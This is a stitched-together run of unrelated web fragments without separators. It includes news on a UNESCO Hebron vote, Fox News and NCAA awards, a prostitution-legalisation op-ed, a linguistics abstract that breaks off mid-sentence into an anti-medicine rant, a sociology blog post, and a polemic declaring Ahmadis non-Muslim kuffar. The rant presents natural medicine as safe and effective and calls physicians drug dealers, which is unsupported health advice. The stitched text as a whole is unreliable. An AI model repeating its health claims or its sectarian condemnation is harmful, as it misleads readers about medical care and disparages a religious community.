The #Jewish people's glorious history in #israel started in #Hebron.No @UNESCO lies and FAKE HISTORY can change that. Truth is eternal🇱🇱 — Emmanuel Nahshon (@EmmanuelNahshon) July 7, 2017
Yishai Fleisher, international spokesman for the Hebron Jewish community, stated, “Clearly, this was yet another politicized, anti-Israel maneuver manufactured by the Palestinian Authority and it’s purpose is clear: to delegitimize the ancient Jewish presence in Hebron in particular, and thereby, undermine the historical ties of Jewish people to the land of Israel in general.”
Hebron’s Tomb of the Patriarchs is believed to be the resting place of the biblical patriarchs and matriarchs Abraham, Isaac, Jacob, Sarah, Rebecca and Leah. Rachel is believed to be buried in Bethlehem.
This reporter previously documented the Jewish ties to Hebron:
Hebron is the oldest Jewish community in the world, with Jews having lived there almost continuously for over 2,500 years. There are accounts of the trials of the city’s Jewish community throughout the Byzantine, Arab, Mameluke and Ottoman periods.
In 1929, as a result of an Arab pogrom in which 67 Jews were murdered, the entire Jewish community fled the city, with Hebron becoming temporarily devoid of Jews. Jews returned when Israel recaptured the area in 1967.
King David was anointed in Hebron, where he reigned for seven years. A thousand years later, during the first Jewish revolt against the Romans, the city was the scene of extensive fighting in which many Jews were killed.
Friday’s vote followed a vote earlier this week in which UNESCO passed an anti-Israel resolution disavowing Israel’s ties to Jerusalem’s Old City and its ancient walls.
Aaron Klein is Breitbart’s Jerusalem bureau chief and senior investigative reporter. He is a New York Times bestselling author and hosts the popular weekend talk radio program, “Aaron Klein Investigative Radio.” Follow him on Twitter @AaronKleinShow. Follow him on Facebook.Chicago is faced with overcrowding in the city’s Cook County Jail. The institution is currently at 98% capacity and Cook County Board President Toni Preckwinkle says that there is no room in the budget to house more criminals. The solution: decide which crime is least criminal and revoke its felony status.
Of course, prostitution is the crime chosen as least atrocious. Preckwinkle and County Commissioner Bridget Gainer introduced a resolution at a County Board meeting this week asking authorities to no longer charge sex workers with felony prostitution.
End Demand Illinois, a sex worker advocacy group, also recently played a strong part in advancing a bill to end felony prostitution in Illinois. The group recognizes that women charged with a prostitution felony will forever have a dark spot on their record and that such a charge could drastically limit a sex worker’s future goals beyond the sex profession.
This is a step in the right direction for Chicago, but if the Prairie State wants to really change their system for the better they should go the way of Nevada and legalize prostitution.
Why should Illinois legalize prostitution?
1. Money
Make no mistake; the only reason Chicago is taking steps to limit the seriousness of prostitution as a crime is because it’s costing the Department of Corrections up to $10 million annually to house all of those harlots in Cook County Jail. If there was no overcrowding, and no cost associated with it, there would be no action taken by the county regardless of what groups like End Demand Illinois lobby for.
By legalizing prostitution, sex workers will be taxpaying contributors instead of a money-sucking burden on society. In other words, the state would be making money on prostitution instead of losing it.
2. Reduction in Sex Trafficking
Since legal prostitution would require Illinois brothel owners to be licensed businesspersons whose actions are monitored by state and county officials, it is nearly impossible for these bordellos to utilize coercive practices to procure their working girls. Women working in legal houses of prostitution must be adults of sound mind and body and enter into the profession of their own free will.
The primary mission of End Demand Illinois is to eliminate sex trafficking and ensure that no woman in Illinois is forced to do anything against her will. Legalizing prostitution in Illinois would severely limit an unlicensed pimp’s opportunity to force a woman to do anything she doesn’t want to do. Once you take prostitution away from the criminals, their power over women diminishes.
3. Decreased STD Rate for Sex Workers and their Customers
Within the past five years, Illinois ranked 8th highest among the 50 states in cumulative reported AIDS cases. Legal houses of prostitution only practice safe sex. In Nevada, there has never been a case of a sexually transmitted disease that occurred as a result of a sex act at one of the state’s legal brothels. Every sex worker in Nevada is screened by certified medical experts regularly and every brothel strictly enforces safe sex practices.
So instead of trying to pinch pennies here and there by acknowledging the insignificance of prostitution as a crime, maybe it’s time Chicago and Illinois make a real positive change that will result in more money, less sex trafficking, and a healthier population.Guardian David Cameron's judgment on hiring disgraced ex-News of the World editor Andy Coulson has already been called into question.
Now, new allegations have surfaced that appear to show Andy Coulson was advised by Neil Wallis, the News of the World editor at the very center of the hacking scandal, in the run up to the 2010 elections - while he was employed by David Cameron.
Other new emails reportedly show that an aide to David Cameron stopped the British police from briefing the Prime Minister on the phone hacking scandal in September 2010.
Just like that, the odds of David Cameron being replaced before the next election went to 2/1.
Via The Telegraph, here's a statement on Wallis from the Conservative Party:
There have been some questions about whether the Conservative Party employed Neil Wallis. We have double checked our records and are able to confirm that neither Neil Wallis nor his company has ever been contracted by the Conservative Party, nor has the Conservative Party made payments to either of them.
It has been drawn to our attention that he may have provided Andy Coulson with some informal advice on a voluntary basis before the election. We are currently finding out the exact nature of any advice.
We can confirm that apart from Andy Coulson, neither David Cameron nor any senior member of the campaign team were aware of this until this week.Abstract Recent work in comparative linguistics suggests that all, or almost all, attested human languages may derive from a single earlier language. If that is so, then this language—like nearly all extant languages—most likely had a basic ordering of the subject (S), verb (V), and object (O) in a declarative sentence of the type “the man (S) killed (V) the bear (O).” When one compares the distribution of the existing structural types with the putative phylogenetic tree of human languages, four conclusions may be drawn. (i) The word order in the ancestral language was SOV. (ii) Except for cases of diffusion, the direction of syntactic change, when it occurs, has been for the most part SOV > SVO and, beyond that, SVO > VSO/VOS with a subsequent reversion to SVO occurring occasionally. Reversion to SOV occurs only through diffusion. (iii) Diffusion, although important, is not the dominant process in the evolution of word order. (iv) The two extremely rare word orders (OVS and OSV) derive directly from SOV.
Recent work in genetics (1), archeology (2), and linguistics (3) indicates that all behaviorally modern humans share a recent common origin. The date involved is often identified with the sudden appearance, roughly 50,000 y ago, of strikingly modern behavior in the form of more sophisticated tools as well as painting, sculpture, and engraving. This new Upper Paleolithic culture differed dramatically from the Mousterian culture of the anatomically modern humans from whom the behaviorally modern humans emerged. The cause of this abrupt change has been attributed to the appearance of fully modern human language (2, 4), and this is a plausible conjecture. With regard to language, Bengtson and Ruhlen (3) have presented evidence that suggests that all or almost all attested human languages share a common origin. That origin need not necessarily refer all of the way back to the time when behaviorally modern humans emerged and peopled the Old World. There could have been a “bottleneck” effect at a much later time, with a single language spoken then being ancestral to all or most attested languages (5). If that is so, then that ancestral language, like nearly all modern languages, must have had a dominant ordering of the subject (S), verb (V), and object (O) in simple declarative sentences such as “the man (S) killed (V) the bear (O).” One should note that there is great variation in the rigidity of the basic word order in different languages, in part due to the fact that the syntactic functions of subject and object are often marked on the noun, as in Russian, which permits all six possible orders to yield grammatical sentences. Nonetheless, the basic word order of Russian is clearly SVO, and the other orders reflect special emphasis or other pragmatic factors. Australian languages, in particular, are known for their extremely free word order, and it has been claimed that some of those languages have no basic order. Still, as we shall see, the basic word order reported for most Australian languages is normally SOV, although other orders are also found.
Greenberg (6) noted that of the six possible orders, only three are commonly found: SOV, SVO, and VSO. The great insight of Greenberg's paper, however, was not just an inventory of existing types—which obviously was long overdue—but the recognition that there were strong correlations between what seemed to be unrelated syntactic structures. Thus, for example, an SOV language usually places the genitive before the noun (GN; e.g., “the man's dog”) and uses postpositions, whereas a VSO language usually places the genitive after the noun (NG; e.g., “the dog of the man”) and uses prepositions. (Nowadays, these correlations are described in terms of head-first and head-last constructions.) In light of such correlations it is often possible to discern relic traits, such as GN order in a language that has already changed its basic word order from SOV to SVO. Later work (7) has shown that diachronic pathways of grammaticalization often reveal relic “morphotactic states” that are highly correlated with earlier syntactic states. Also, internal reconstruction can be useful in recognizing earlier syntactic states (8). Neither of these lines of investigation is pursued in this paper.
It should be obvious that a language cannot change its basic word order overnight. What is required is a long gradual process during which it is the frequencies of different word orders that change. A language may begin with a high frequency of SOV and a low frequency of SVO. As the language changes, the frequency of SVO may increase at the expense of SOV until there emerges a stage referred to as “free word order,” in which the frequencies of both orders are similar. A final stage may occur when the frequency of SVO becomes high and that of SOV low. It is here that both grammaticalization and internal reconstruction have played and will continue to play a crucial role in further elucidating the precise processes of diachronic change that lead from one state to another.
Research subsequent to Greenberg's has shown that the other three possible orders—VOS, OVS, and OSV—also occur, but the last two are exceedingly rare (9). We have analyzed the distribution of these six word orders for a sample |
system with no foreseeable end in sight. It is an utter disaster.
But what do we see on TV? Sexy doctors sleeping with each-other in sit-coms. We have “House MD” diagnosing the 1 in a million weird diseases and hailing him as a hero while the system itself is an absolute failure. Don’t get me wrong here…HOUSE is doing his job but the show itself…propaganda people. The medical industry uses lots of this type of propaganda to keep people’s faith in their priests in white coats. Drug companies spend countless millions on ads trying to convince you that their products are the answer to your problems.
Here’s the rub. Most of the medical education in this country is sponsored by these drug companies. The well-intentioned kids going through medical school are so busy pulling all-nighters and being slaves to the fraternity-like system that they don’t have time to think. They come out being drug dealers for the Pharm industry by following their algorithms for care. Even if they realize something is wrong, they are so tied down with student loans that they have to suck it up and follow the money. You want patients? Good- follow our rules and we’ll refer them to you. You’ll have to see 60/day to make a living and you’ll be so tired when you get home from work that you’ll lack the Vitality to think about anything. In fact, from the start of their medical education, they are so beaten and robbed of their Vitality that they lose their point of reference to what true health really is.
So what is true health?
True health is the body’s resilience and Vitality working to offset disease. True health is the homeostatic mechanisms of this miraculous thing called life all working together to function well as a whole system. True health is the connection of mind, body, and spirit and a life that has meaning and purpose. Vitality comes from within. It is the by-product of a robust connection with the Life Force which emanates out of all us. This Life Force is found in plants, minerals, and natural substances that traditional doctors have been using for thousands of years effectively. It can be drawn from the breath and cultivated in practices like Qi Gong and Yoga.
I’m currently filming a Naturopathic doctor who treats the majority of an island population (with horrible diets) with 97% natural medicine at a fraction of the cost and is keeping the whole island healthy. He has health ministers from all over the world consulting with him on how to fix the failing medical systems in their countries. Long story short- the writing is on the wall. Natural medicine is both safe and effective and is exponentially cheaper than conventional medicine.
So here’s the switch- The fact that we call the broken system “Conventional Medicine” and all the natural systems “Alternative Medicine” is also a product of the broken system’s propaganda machine. It is time to redefine these terms and put things in their right place. I propose we call natural medicines (Naturopathy, Acupuncture, Homepathy, Chiropractic, real Osteopathy…) “NATURAL MEDICINE” and I propose we rename conventional medicine “DRUG MEDICINE”. Or how about real “Healthcare” vs. “Sickcare”?
It is time to redefine a broken system that has not served the population well. There’s still plenty of room for these interventions in trauma and acute care but, let’s be real here, the broken system has failed us in primary care. We will be bankrupted by the special interests and lobbies that propagate this lie if we don’t take matters into our own hands. Find a “NATURAL MEDICINE” doctor today and start working on getting your Vitality back. A healthy population is what makes America strong…not a horde of broken slaves.
Let’s wake up our citizenry.
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commentsThe NCAA has honored more than 1,100 Division I sports teams for top scores in the classroom.
Based on their most recent multi-year Academic Progress Rate, these teams have earned NCAA Public Recognition Awards for posting scores in the top 10 percent of their sport.
APRs for all Division I teams will be released May 27. The APR is an annual scorecard of academic achievement calculated for all Division I sports teams nationally. Teams must meet a certain academic threshold to qualify for the postseason and can face penalties for continued low academic performance.
The 1,124 teams publicly recognized for high achievement represent 696 women’s teams and 428 men’s or mixed squads, the highest ever in the decade since the NCAA began the Public Recognition Awards program. In 2014, 1,049 teams were recognized, marking an increase this year of 75 teams.
The scores required to be in the top ten ranged from 980 to a perfect 1,000, depending on the sport. This year, a record 953* teams earned public recognition with a perfect APR score.
“We congratulate each of the teams and individual student-athletes for their dedication to academic success,” said NCAA President Mark Emmert. “This achievement demonstrates their hard work and the commitment of NCAA member schools to provide students with an opportunity to succeed academically and athletically.”
While the spring championship season is still ongoing, eight NCAA national champions are already included in this year’s award list: Columbia University fencing; Duke University men’s basketball; Loyola University Chicago men’s volleyball; Stanford University women’s water polo; University of California, Los Angeles men’s water polo; University of Colorado men’s cross country; University of Connecticut women’s field hockey; and University of Virginia men’s tennis.
A total of 289 schools placed at least one team on the top APR list, up 15 from 2014.
Dartmouth College had the most teams (26) recognized, followed by Brown University (19) and Bucknell University (19) and Stanford University (19). The Ivy League saw 110 teams recognized – the most of any conference – followed by the Patriot League (105), Atlantic Coast Conference (82) and Big Ten Conference (74).
Dartmouth also led the schools with the highest percentage of its teams topping the APR list with 93 percent. Northwestern University (79 percent), Lafayette College (78 percent) and Gonzaga University (76 percent) also had more than three-quarters of their teams making the list.
The APR measures eligibility, graduation and retention each semester or quarter and provides a clear picture of the academic performance for each team in each sport.
The most recent APRs are multi-year rates based on scores from 2010-11, 2011-2012, 2012-13 and 2013-14 academic years.
Click here for the list of 129 teams that have earned Public Recognition Awards each of the ten years they have been awarded.
* While 980 teams posted perfect APR scores, 27 of those teams are not yet eligible for Public Recognition Awards due to lack of historical data.Greg Gutfeld closed the curtain on Fox News’s “The Factor” Friday night as the program that has existed for 20 years under former host Bill O'Reilly officially went off the air.
Fox News cut ties with O’Reilly earlier this week in the wake of sexual harassment charges that had led 90 advertisers to leave his program.
It was a stunning development given O’Reilly’s long career at Fox, where he had been the network’s biggest star for years.
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O’Reilly himself did not get a chance to say goodbye to his viewers, as he was on vacation when the decision was made to end his relationship with Fox.
Gutfeld said that even as those at the program looked forward to “new beginnings,” it was a “sad day.”
“Some of the people on the Factor staff have been here from the very beginning helping Bill O’Reilly create something that had never been done before,” he said. “In the 20 years since the Factor has been on the air, Bill changed the way news is done, and his show became a sanctuary for you, our loyal viewers, who are not being well-served by the mainstream media.”
Gutfeld said it was impossible for him to truly turn the lights out on a show synonymous with O’Reilly.
“How do I turn out the lights on such a venerable and amazing show? I can’t. It’s not my show and it’s not my place. So on behalf of all of us on the Factor, good night and godspeed.”
The end for O’Reilly began when The New York Times reported on April 1 that five women were paid $13 million to settle sexual harassment claims against the host.
Tucker Carlson will take over the 8 p.m. slot in O'Reilly's place starting Monday, moving from his 9 p.m. slot. His debut will feature an interview with TV personality and author Caitlyn Jenner.
“The O'Reilly Factor” has been the most-watched cable news show for the past 15 years.
But Carlson has been a ratings juggernaut at Fox in prime time since moving into primetime, helping make the decision for Fox News brass to move his program to the critical 8 p.m. slot easier.
Taking over at 9 p.m. will be “The Five,” a panel show with six rotating co-hosts: Kimberly Guilfoyle, Dana Perino, Bob Beckel, Gutfeld, Jesse Watters and Juan Williams.
Sean Hannity will remain in his 10 p.m. timeslot.Today, the United States Senate did something for the first time in history. It held a hearing on how the federal government could draw a roadmap toward the decriminalization of recreational marijuana across the nation. The big takeaways are that the Dept of Justice is working with the Dept of Treasury to facilitate marijuana business banking, however, dispensaries’ tax problems aren’t going to be going away any time soon.
Two weeks ago, the Justice Department announced a new policy, in which federal law enforcement officials would not interfere with the growth and sale of recreational pot in Washington and Colorado, which last year legalized the practice, as long as operators don’t grow pot on public land, sell it to young children, or work with organized crime cartels to export it to states that prohibit the weed. Vermont Senator Patrick Leahy convened a meeting of the Senate Judiciary Committee today to press the matter. Would the federal government still seize the property of people who retail pot, for example? Can people who sell pot register their income for tax purposes? Can banks lend start-up capital to pot enterprises?
Can Obama’s Justice Department, which has continued the Bush policy of cracking down on medical marijuana dispensaries, really be trusted?
Senate Judiciary Committee Chair Patrick Leahy put exactly these questions to James Cole, Deputy Attorney at the Department of Justice. And while Cole wouldn’t rule out the option of prosecuting people for something as simple as smoking pot, he admitted that his department didn’t have the resources to chase down low-level drug offenders. His department was focused on larger goals: making sure that pot operations weren’t connected to organized crime cartels; eliminating the growth of marijuana on public lands, keeping stoned drivers from weaving around the streets, preventing children from obtaining it, and exporting it to states that prohibit it.
This last priority was the focus of Iowa Sen. Chuck Grassley, who was the only senatorial voice in opposition to a more lax pot policy on the part of the Obama administration. Grassley repeatedly raised the specter of Coloradan pot growers shipping weed to his state, which has not decriminalized the drug in any way. Grassley also claimed that drug-related arrests and school suspensions had risen in Colorado, and while he didn’t entirely ask the Justice Department to crack down on Colorado’s newly-legalized pot industry, he did everything but.
After Cole left the witness chair, three others followed: John Urquhart, the sheriff of Seattle’s King County; Jack Finlaw, the Chief Legal Counsel for Colorado Governor John Hickenlooper; and Kevin Sabet, the director of the Drug Policy Institute at the University of Florida. Urquhart and Finlaw both talked about their practical experience implementing the new, nonexistent pot laws, while Sabet warned that legalization would lead to the creation of “Big Marijuana”. Legalization, Sabet claims, amounts to commercialization.
No policy will immediately result from this hearing, of course. But the fact that it was held, and that a Deputy Attorney General was grilled about whether the federal government would allow pot retailers and their investors to conduct business above ground — well, that sure is something.First some context, then some data.
Ruth Graham has a story in the Boston Globe about how liberals and conservatives — researchers as well as policy advocates — are starting to agree that marriage is good and policy should promote it. I’m quoted, but apparently as an example of what Andrew Cherlin refers to as someone standing at “a line some liberal sociologists won’t cross, that line of accepting marriage as the best arrangement.” This is part of a spate of stories in which journalists look for a new consensus on marriage. Previous entries include David Leonhardt in the New York Times saying liberals are wrong in attributing the decline of marriage to economics alone, and Brigid Schulte in the Washington Post reporting that Isabel Sawhill has given up on “trying to revive marriage.” The narrow consensus in policy terms involves a few things, like increasing the Earned Income Tax Credit and reducing marriage penalties in some parts of the safety net, along with trying to improve conditions at the low end of the labor market (see this Center for American Progress report for the liberal side of these policies).
From teen births to marriage promotion
The idea of a cultural revival of marriage has been the futile bleat of the family right for decades, most recently retooled by David Blankenhorn. And in recent years these ideologues have taken to using as an example the supposed success of the cultural intervention to reduce teen pregnancy, to show how we might increase marriage and reduce nonmarital birth rates. This has been a common refrain from Brad Wilcox, quoted here by Graham:
As evidence of his optimism, Wilcox points to teen pregnancy, which has dropped by more than 50 percent since the early 1990s. “Most people assumed you couldn’t do much around something related to sex and pregnancy and parenthood,” he said. “Then a consensus emerged across right and left, and that consensus was supported by public policy and social norms. … We were able to move the dial.”
I think that interpretation is not just wrong, it’s the opposite of right, as I’ll explain below.
I don’t know of any evidence that cultural intervention affected teen birth rates. Cultural intervention effects are different from cultural effects — of course cultural change is part of the trend in marriage and birth timing, but the commonly cited paper showing an apparent effect of 16 and Pregnant on teen births, for example, is not evidence that the campaign to reduce teen pregnancy was successful. There was a campaign to end teen pregnancy, and teen pregnancy declined. I think the trend might have happened for the same set of reasons the campaign happened — the same reasons for the decline in marriage and the shift toward later marriage. The campaign was one expression of shifting norms toward women’s independence, educational investment, and delayed family formation.
The myth of teen pregnancy
I’ve been trying to say this for a while, and it doesn’t seem to be taking. Maybe I’m wrong, but I’m not giving up yet. So here goes again.
If you had never heard of teen pregnancy, you would see the decline in births among teenagers as what it is: part of the general historic trend toward later births and later marriage. I tried to show this in a previous post. I’ll repeat that, and then give you the new data.
First, I showed that teen birth trends simply follow the overall trend toward later births. Few births at young ages, more at older ages:
It doesn’t look like anything special happening with teens. To show that a different way, I juxtaposed teen birth rates with the tendency of older women (25-34) to have births relative to younger women (20-24). This showed that teen births are less common where older births are more common:
In other words, teen births follow general trends toward older births.
Today’s data exercise
Here’s a more rigorous (deeper dive!) into the same question. I show here that teenage women are less likely to have a birth if they live in place with higher age at marriage, and if they live in a place with lower marriage rates. That is, lower teen births go along with the main historical trend: delayed and declining marriage.
So if you think declining teen births are an example of how a policy for “cultural” intervention can reverse the historical tide, you’re not just wrong, you’re the opposite of right. The campaign to reduce teen births succeeded in doing what was happening already. This is not a model for marriage promotion.
Here’s what I did. I used the 2009-2011 American Community Survey, distributed by IPUMS.org. For 283 metropolitan areas, accounting for 73% of all U.S. 15-19 year-old women, I calculated the odds of a teenage woman reporting a birth in the previous year, as a function of: (a) the median age of women who married in that area in the previous year, and (b) the proportion of women ages 18-54 that are currently married in that area. I adjusted these odds for age, race/ethnicity, and nativity (foreign born). I didn’t adjust for things that are co-determined with births among teens, such as marital status, education, and living arrangements (in other words there is plenty of room to dive deeper). All effects were statistically significant when entered simultaneously in a logistic regression model, with robust standard errors for metro area clustering.*
The figures show probabilities of having a birth in the last year, adjusted for those factors, with 95% confidence intervals:
To summarize:
Teen births are a myth. There are just births to people ages 13 to 19.
Teen births have fallen as people increasingly delay childbearing and marriage. Falling teen births are simply part of the historical trend on marriage: rising age at marriage, declining marriage rates.
The campaign to prevent teen births coincided with the trends already underway. Any suggestion that this could be a model for promoting marriage — that is, a policy that goes against the historical tide on marriage — is hokum.
There remains no evidence at all to support any policy intervention to promote marriage.
* Well, the age at marriage effect is on significant at p=.054 (two-tailed), but my hypothesis is directional — and that cluster adjustment is brutal! Anyway, happy to share code and output, just email me. Here’s the regression table:The Lakers are moving quickly toward hiring Phil Jackson as their next coach, with one person in the organization calling it a "95%" chance he will return for a third tour with the team.
The Lakers plan on meeting with Jackson on Saturday morning to make sure he is interested in the job. The unknown 5% in their equation is the chance Jackson doesn't want to fill the vacancy created by the Friday firing of Mike Brown, either because of health reasons or other unknown issues.
The team realized a slew of things stemming from the 101-77 Lakers' victory Friday over Golden State, primarily that the players wanted Jackson and fans wanted him too, in case their second-half chants of his name weren't enough of a tipoff.
Ultimately, Lakers management wants Jackson too. It's just a matter of where Jackson stands right now. People who have spoken with him in recent weeks say he enjoys his life away from the game but is also intrigued by the Lakers' roster and the opportunity to return to the only franchise he has known since 1999.Family eating breakfast -- Shutterstock
Have you ever stopped to question that well-worn dictum, “breakfast is the most important meal of the day”? I for one have spent many a day of my life breakfastless. Does this mean I’ve regularly risked my health? Popular opinion might argue yes. Aaron E. Carroll writing recently in the New York Times says absolutely not.
Carroll, a professor of pediatrics at Indiana University School of Medicine, argues that common myths around the importance of breakfast stem from “misinterpreted research and biased studies.” He cites a 2013 paper published in the Journal of Circulation that offered evidence tying skipped breakfasts to coronary heart disease and another to obesity. “But, like almost all studies of breakfast,” notes Carroll, “this is an association, not causation.”
Carroll goes on to illustrate the numerous confirmation biases inherent in research that supports this commonly held belief. Prime among these tactics, writes Carroll, are “causal language” and improper citation of results that convince people “skipping breakfast is bad.”
As for the rationale behind this manipulative “observational research”? Carroll writes:
Many of the studies are funded by the food industry, which has a clear bias. Kellogg funded a highly cited article that found that cereal for breakfast is associated with being thinner. The Quaker Oats Center of Excellence (part of PepsiCo) financed a trial that showed that eating oatmeal or frosted cornflakes reduces weight and cholesterol (if you eat it in a highly controlled setting each weekday for four weeks).
Like so many issues tied to corporate-interest research, the problem comes down to a lack of “randomized controlled trials.” That’s not to say they don’t exist. But as Carroll points out, even those that draw no definitive connection between breakfast and the state of one’s health suffer from methodological weakness.
In the end, like most things that concern your health, a bit of common sense and moderation goes a long way. Eat a stack of pancakes one day, have a cup of coffee another. Either way, you’re likely to survive.
Writing for AlterNet in an essay on the corporate breakfast myth, Anneli Rufus reported:And so one day a few weeks ago, I found myself being slid inside an MRI at UCLA, with headphones over my ears and video goggles over my eyes. I quickly realized that Joshua Freedman and his team had chosen stimuli that matched my preoccupations. One of the first video images they showed me was Jimmy Carter speaking in defense of his decision to meet with Hamas leaders. Then there was President Bush talking about oil, and Hillary Clinton talking about health care, which caused me to realize that if you haven’t lain supine in a claustrophobia-inducing magnetized tunnel while watching Hillary Clinton talk about health care one inch from your eyeballs, well, you just haven’t lived. The Clinton video was followed by scenes from The Wire and The Sopranos. Kind of like a palate cleanser.
Then came a series of photographs: John McCain, Edie Falco, Golda Meir, Barack Obama, and David Ben-Gurion. One sequence consisted of Osama bin Laden, Daniel Pearl, my 7-year-old son, and my wife. Then another sequence: Obama, Hillary, Yasir Arafat, Bruce Springsteen, a poster for Fiddler on the Roof, Mahmoud Ahmadinejad, George W. Bush, Bob Dylan, me, David Bradley (the man who owns this magazine), and Ronald Reagan.
I spent an hour inside the MRI and emerged irritated, with a clanging headache. “You have a good-looking brain!” Iacoboni said, smiling.
For some reason, the news that my brain did not contain any tumors, Pat Buchanan–shaped or otherwise, failed to improve my mood. I was worried, of course, about my reactions to several of the stimuli. I asked Freedman what would happen if the photograph of David Bradley activated my insula, the region of the brain associated with revulsion. “We’ll reinterpret the findings,” he said.
OK, but what if the sight of Golda Meir provoked feelings of sexual arousal? What if the sight of David Ben-Gurion provoked feelings of sexual arousal? What if it turned out that I actually feel disgust at the sight of Bruce Springsteen? To think of all the money I’ve wasted on concert tickets and T-shirts. Most worrisome, of course, was the matter of my wife. Inappropriate activations could have lasting consequences.
The preliminary findings began to arrive a few days later, in a series of e-mails from Iacoboni. “Carter: big amygdala response on both sides! Jeff, do you fear this guy?”
The Sopranos video sequence, he said, activated a “nice response in the fusiform face area, a visual area processing faces, but an especially big ventral striatum response, which is a brain area that gets active for rewarding stimuli. We now know you really like The Sopranos.” I didn’t need a million-dollar machine to tell me that.
But it turns out that my ventral striatum likes The Wire even more. Iacoboni and Freedman saw intense movement in my extrastriate visual areas and among my mirror neurons. When we spoke later, Iacoboni explained that the mirror-neuron activity suggests that I “identify with the characters to such a degree” that I’m “almost pretending to do the things they’re doing on the screen, being a homicide detective. When people watch a movie they love, they’re truly living the things taking place on the screen through their mirror neurons.”
Then it was on to the question about my political leanings. Film of Obama, Iacoboni said, showed some mirroring, which suggests empathy, and a small amount of activity in the medial orbito-frontal cortex, which is a source of positive emotion. My brain likes Obama, apparently.
My reaction to Bush could not be measured, because I fidgeted each time he appeared on screen. “You can’t lie still when you see Bush,” Iacoboni said. I stayed still for McCain, who stimulated “big mirroring,” indicating empathy, and some amount of ventral-striatum activity, an overall positive response. Images of Hillary stimulated activity in the dorso-lateral prefrontal cortex, which is a region of the brain involved in cognitive control. “You may be trying to suppress unwanted emotions,” he said. What those emotions are, he couldn’t say. “There’s a lot of conflict in your mind about Hillary.”
And my reaction to David Bradley, the man who signs my paychecks? “You activated a fronto-parietal network in the right cerebral hemisphere that has been implicated in self-recognition in many experiments,” Iacoboni said.The Ahmadis Are Not Muslims:
A Response to Nabeel Qureshi's Video "Nabeel Qureshi, Ahmadiyyat and Islam: Are Ahmadis Muslim?"
By
Bassam Zawadi
Nabeel's video can be viewed here. We would also be taking a look at some of the things Nabeel has written over here.
Given that Nabeel used to be an ex-Ahmadi, he is trying really hard to prove to everyone that Ahmadis are in fact considered Muslims. Why is that something so important to Nabeel? The answer is quite obvious. It is because Nabeel is now trying to build a name for himself amongst evangelical apologists/polemicists that he is some sort of expert on Islam (or on his way to be one) and telling people that he used to be an ex-Muslim gives him more credibility. So Nabeel is actually seeking to be labeled as an apostate from Islam, when he in reality isn't one. In the eyes of Muslims, Nabeel merely transferred from one type of kufr to another. As a matter of fact, it could even be argued that Nabeel actually made a gradual "improvement" in his shift to Christianity, since Christians are at least considered as "people of the book" and their status is above that of the rest of kuffar.
Muslims have been repeating themselves time and time again that Ahmadis are not considered Muslims for a variety of reasons:
1) The ahaadeeth regarding the literal return of Jesus (peace be upon him) are mutawaatir (see here). To outright reject a mutawaatir belief (which is an established Islamic belief beyond reasonable doubt) for no valid reason is considered major kufr, which takes the person outside the fold of Islam. There is no doubt that rejecting the firmly established statement of the Prophet (peace be upon him) is an act of major kufr.
2) The Ahmadis violate the definitive Ijmaa' (ijmaa' al-qat'ee) of the Muslims for more than a millennium that Islam teaches that the final prophet is Muhammad (peace be upon him). To violate such an Ijmaa' is again considered a nullifier of faith. Why? This is because such a person would be following a way other than the way of the believers (see 4:115) for at least a millennium.
3) Mirza Ghulam Ahmad declared non-Ahmadis as kuffar (see here and here) and to declare the true believers as kuffar is to basically declare true faith as kufr and what greater kufr is there other than this? Nabeel argued over here "but that doesn't change the fact that most Ahmadi Muslims today do not think non-Ahmadis are non-Muslim.", however even if one could point to Ahmadis who don't declare non-Ahmadis as kuffar that wouldn't change the fact that they are still kuffar for not declaring those takfeeris such as Mirza Ghulam Ahmad as kuffar. For if one does not recognize and concede the kufr of clear kufr is himself a kaafir. If someone is open to the possibility that clear cut kufr could be a valid view then that person is himself a kaafir (similar to how Nabeel wouldn't consider someone a true Christian if he were open to the possibility that Jesus not dying on the cross is a valid view).
The fact of the matter is that the kufr of the Ahmadis is crystal clear, but again it's clear that people with personal motives such as Nabeel would do whatever it takes in order to convince people otherwise.
Let's now take a look at some of the claims that Nabeel made in his video.
Nabeel's Claim that the Ahmadis Believe in All the Articles of Faith
What Nabeel fails to bear in mind is that Ahmadis don't properly adhere to these articles of faith the way they should be. For instance, one of the articles of faith is belief in messengers. If one were to add to this list of messengers someone who clearly shouldn't be added or if this person removed from this list of messengers one who clearly shouldn't be removed, then that person wouldn't be considered as truly adhering to this article of faith.
Given that Ahmadis believe that Mirza Ghulam Ahmad is a messenger, this would imply that they are in violation of this article of faith and hence not considered believers.
Also, Ahmadis violate the article of proper belief in Allah's books, which is to believe in the accepted clear understanding of the passages of the Qur'an. Seeing that the Ahmadis violate this when it comes to 33:40, this in turn implies that they are in violation of this article of faith as well. One may not argue that the Ahmadis have a valid interpretation of 33:40 from a linguistic point of view because the Qur'an is quite clear that one of the roles of the Prophet (peace be upon him) was to interpret the Qur'an for us (see 16:44, 64). And given that the Prophet (peace be upon him) has clearly stated in multiply attested reports attributed to him (as we shall below) that he is the final prophet, this would imply that we then must understand 33:40 in light of the Prophet's (peace be upon him) words.
Nabeel's Claim that Both Orthodox Muslims and Ahmadis Believe that Jesus Would Return
Nabeel said that Ahmadis don't believe that Jesus (peace be upon him) would return literally, but in a different fashion similar to how the coming of John the Baptist was considered be the return of Elijah. Nabeel then makes it appear as if both orthodox Muslims and Ahmadis agree on this general point (i.e. that Jesus would return), despite believing in different methods of Jesus' (peace be upon him) return.
This is a point which is not even worth addressing. Anyone who reads the hadeeth literature on Jesus' (peace be upon him) return would observe that they are quite literal and they describe things that Jesus (peace be upon him) do would during his return, which Mirza himself didn't fulfill. So again, the Ahmadis are out right rejecting the words of the Prophet Muhammad (peace be upon him) in how he described the return of Jesus (peace be upon him) would be.
Nabeel's Claim that Jesus is Truly the Last Prophet
Nabeel then raises an argument that Jesus (peace be upon him) would be coming at the end of days; hence Muhammad (peace be upon him) cannot be the last Prophet.
This has already been dealt with over here.
Nabeel's Claim that the Differences Between Orthodox Muslims and Ahmadis Are Peripheral
Nabeel says that the Ahmadis have a different system of fiqh and they don't use Ijtihaad. They listen to whatever Mirza Ghulam Ahmed and his successors said and Nabeel says that this is pretty much the difference. Nabeel says that this is an issue of peripheral doctrine and not an essential issue. Nabeel also thinks that it's a peripheral issue how Ahmadis interpret khaatam al-nabiyeen differently from Sunni Muslims.
It's pretty clear that I have already demonstrated that the violations of the articles of faith under which these so called?peripheral' issues come under are indeed violations of fundamental principles in the faith.
Nabeel's Claim that Ahmadis Believe that Mirza is Subordinate to Muhammad
